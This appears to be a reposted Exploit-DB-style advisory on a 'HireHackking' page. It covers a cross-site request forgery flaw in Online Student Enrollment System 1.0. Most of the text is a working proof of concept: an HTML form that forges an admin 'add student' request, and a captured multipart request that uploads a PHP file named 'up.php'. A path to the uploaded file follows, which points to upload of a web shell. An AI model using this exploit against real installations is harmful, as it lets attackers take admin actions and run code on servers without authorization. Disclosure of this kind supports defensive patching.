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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Online Student Enrollment System 1.0 - Cross-Site Request Forgery (Add Student)
# Google Dork: N/A
# Date: 2020-06-20
# Exploit Author: BKpatron
# Vendor Homepage: https://www.campcodes.com/projects/php/4745/online-student-enrollment-system-in-php-mysqli/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/donbermoy/student_enrollment_1.zip
# Version: v1.0
# Tested on: Win 10
# CVE: N/A
# my website: bkpatron.com

# Vulnerability:

This product is unprotected against CSRF vulnerabilities.
The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests.
you can upload a PHP file here with CSRF.

# CSRF PoC( add student ,File Upload):

<html>
<body>
<form enctype="multipart/form-data" method="POST" action="http://localhost/student_enrollment/admin/index.php?page=add-student">
		    <label for="name">Student Name</label>
		    <input name="name" type="text" id="name" value="" required=""><br/>
		    <label for="roll">Student Roll</label>
		    <input name="roll" type="text" value="" pattern="[0-9]{6}" id="roll" required=""><br/>
		    <label for="address">Student Address</label>
		    <input name="address" type="text" value="" id="address" required=""><br/>
		    <label for="pcontact">Parant Contact NO</label>
		    <input name="pcontact" type="text" id="pcontact" pattern="01[5|6|7|8|9][0-9]{8}" value="" placeholder="01........." required=""><br/>
		    <label for="class">Student Class</label>
		    <select name="class" class="form-control" id="class" required=""><br/>
		    	<option>Select</option>
		    	<option value="1st">1st</option>
		    	<option value="2nd">2nd</option>
		    	<option value="3rd">3rd</option>
		    	<option value="4th">4th</option>
		    	<option value="5th">5th</option>
		    </select><br/>
		    <label for="photo">Student Photo</label>
		    <input name="photo" type="file" id="photo" required=""><br/>
		    <input name="addstudent" value="Add Student" type="submit" class="btn btn-danger">
	 </form>
  </body>
</html>

#HTTP Request:

http://localhost/student_enrollment/admin/index.php?page=add-student

POST /student_enrollment/admin/index.php?page=add-student HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------1586330740172
Content-Length: 1669
Referer: http://localhost/exploit2.php
Cookie: _ga=GA1.1.1667382299.1577635358; PHPSESSID=2dhsgkdiavgfefp6g0qp63ruqe
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-----------------------------1586330740172: undefined
Content-Disposition: form-data; name="name"
bkpatron
-----------------------------1586330740172
Content-Disposition: form-data; name="roll"

333000
-----------------------------1586330740172
Content-Disposition: form-data; name="address"

0000
-----------------------------1586330740172
Content-Disposition: form-data; name="pcontact"

01911111111
-----------------------------1586330740172
Content-Disposition: form-data; name="class"

1st
-----------------------------1586330740172
Content-Disposition: form-data; name="photo"; filename="up.php"
Content-Type: application/octet-stream
...

// uploaded file path: http://localhost/student_enrollment/admin/images/your_file.php